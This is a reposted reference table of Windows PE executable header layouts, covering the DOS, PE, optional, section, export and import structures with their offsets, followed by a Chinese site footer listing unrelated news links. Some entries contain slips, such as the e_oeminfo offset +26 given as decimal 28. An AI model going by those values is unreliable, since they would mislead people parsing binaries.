+0C (12)

WORD

e_maxalloc

Maximum extra paragraphs needed

+0E (14)

WORD

e_ss

Initial (relative) SS value

+10 (16)

WORD

e_sp

Initial SP value

+12 (18)

WORD

e_csum

Checksum

+14 (20)

WORD

e_ip

Initial IP value

+16 (22)

WORD

e_cs

Initial (relative) CS value

+18 (24)

WORD

e_lfarlc

File address of relocation table

+1A (26)

WORD

e_ovno

Overlay number

+1C (28)

Array[4] of WORD

e_res

Reserved words

+24 (36)

WORD

e_oemid

OEM identifier (for e_oeminfo)

+26 (28)

WORD

e_oeminfo

OEM information; e_oemid specific

+28 (40)

Array[10] of WORD

e_res2

Reserved words

+3C (60)

DWORD

e_lfanew

File address of new exe header

PE Header:

+00

DWORD

Signature ($00004550)

+04

WORD

Machine

+06

WORD

Number of Sections

+08

DWORD

TimeDateStamp

+0C (12)

DWORD

PointerToSymbolTable

+10 (16)

DWORD

NumberOfSymbols

+14 (20)

WORD

SizeOfOptionalHeader

+16 (22)

WORD

Characteristics

Optional Header:

- standard fields-

+18 (24)

WORD

Magic

+1A (26)

BYTE

MajorLinkerVersion

+1B (27)

BYTE

MinorLinkerVersion

+1C (28)

DWORD

SizeOfCode

+20 (32)

DWORD

SizeOfInitializedData

+24 (36)

DWORD

SizeOfUnitializedData

+28 (40)

DWORD

AddressOfEntryPoint

+2C (44)

DWORD

BaseOfCode

+30 (48)

DWORD

BaseOfData

-NT additional fields-

+34 (52)

DWORD

ImageBase

+38 (56)

DWORD

SectionAlignment

+3C (60)

DWORD

FileAlignment

+40 (64)

WORD

MajorOperatingSystemVersion

+42 (66)

WORD

MinorOperatingSystemVersion

+44 (68)

WORD

MajorImageVersion

+46 (70)

WORD

MinorImageVersion

+48 (72)

WORD

MajorSubsystemVersion

+4A (74)

WORD

MinorSubsystemVersion

+4C (76)

DWORD

Reserved1

+50 (80)

DWORD

SizeOfImage

+54 (84)

DWORD

SizeOfHeaders

+58 (88)

DWORD

CheckSum

+5C (92)

WORD

Subsystem

+5E (94)

WORD

DllCharacteristics

+60 (96)

DWORD

SizeOfStackReserve

+64 (100)

DWORD

SizeOfStackCommit

+68 (104)

DWORD

SizeOFHeapReserve

+6C (108)

DWORD

SizeOfHeapCommit

+70 (112)

DWORD

LoaderFlags

+74 (116)

DWORD

NumberOfRvaAndSizes

+78 (120)

DWORD

ExportDirectory VA

+7C (124)

DWORD

ExportDirectory Size

+80 (128)

DWORD

ImportDirectory VA

+84 (132)

DWORD

ImportDirectory Size

+88 (136)

DWORD

ResourceDirectory VA

+8C (140)

DWORD

ResourceDirectory Size

+90 (144)

DWORD

ExceptionDirectory VA

+94 (148)

DWORD

ExceptionDirectory Size

+98 (152)

DWORD

SecurityDirectory VA

+9C (156)

DWORD

SecurityDirectory Size

+A0 (160)

DWORD

BaseRelocationTable VA

+A4 (164)

DWORD

BaseRelocationTable Size

+A8 (168)

DWORD

DebugDirectory VA

+AC (172)

DWORD

DebugDirectory Size

+B0 (176)

DWORD

ArchitectureSpecificData VA

+B4 (180)

DWORD

ArchitectureSpecificData Size

+B8 (184)

DWORD

RVAofGP VA

+BC (188)

DWORD

RVAofGP Size

+C0 (192)

DWORD

TLSDirectory VA

+C4 (196)

DWORD

TLSDirectory Size

+C8 (200)

DWORD

LoadConfigurationDirectory VA

+CC (204)

DWORD

LoadConfigurationDirectory Size

+D0 (208)

DWORD

BoundImportDirectoryinheaders VA

+D4 (212)

DWORD

BoundImportDirectoryinheaders Size

+D8 (216)

DWORD

ImportAddressTable VA

+DC (220)

DWORD

ImportAddressTable Size

+E0 (224)

DWORD

DelayLoadImportDescriptors VA

+E4 (228)

DWORD

DelayLoadImportDescriptors Size

+E8 (232)

DWORD

COMRuntimedescriptor VA

+EC (236)

DWORD

COMRuntimedescriptor Size

+F0 (240)

DWORD

0

+F4 (244)

DWORD

0

Section Header:

+0

Array[8] of BYTE

Name

+08

DWORD

PhysicalAddress / Virtual Size

+0C

DWORD

VirtualAddress

+10 (16)

DWORD

SizeOfRawData

+14 (20)

DWORD

PointerToRawData

+18 (24)

DWORD

PointerToRelocations

+1C (28)

DWORD

PointerToLineNumbers

+20 (32)

WORD

NumberOfRelocations

+22 (34)

WORD

NumberOfLineNumbers

+24 (36)

DWORD

Characteristics

Export Directory:

+0

DWORD

Characteristics

+04

DWORD

TimeDateStamp

+08

WORD

MajorVersion

+0A

WORD

MinorVersion

+0C

DWORD

Name

+10 (16)

DWORD

Base

+14 (20)

DWORD

NumberOfFunctions

+18 (24)

DWORD

NumberOfNumbers

+1C (28)

DWORD

*AddressOfFunctions

+20 (32)

DWORD

*AddressOfNames

+24 (36)

DWORD

*AddressOfNameOrdinals

Import Directory:

+0

DWORD

OriginalFirstThunk

+04

DWORD

TimeDateStamp

+08

DWORD

ForwarderChain

+0C

DWORD

Name

+10

DWORD

FirstThunk

[url=http://blog.csdn.net/gzfqh/archive/2005/08/03/444596.aspx][/url]

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有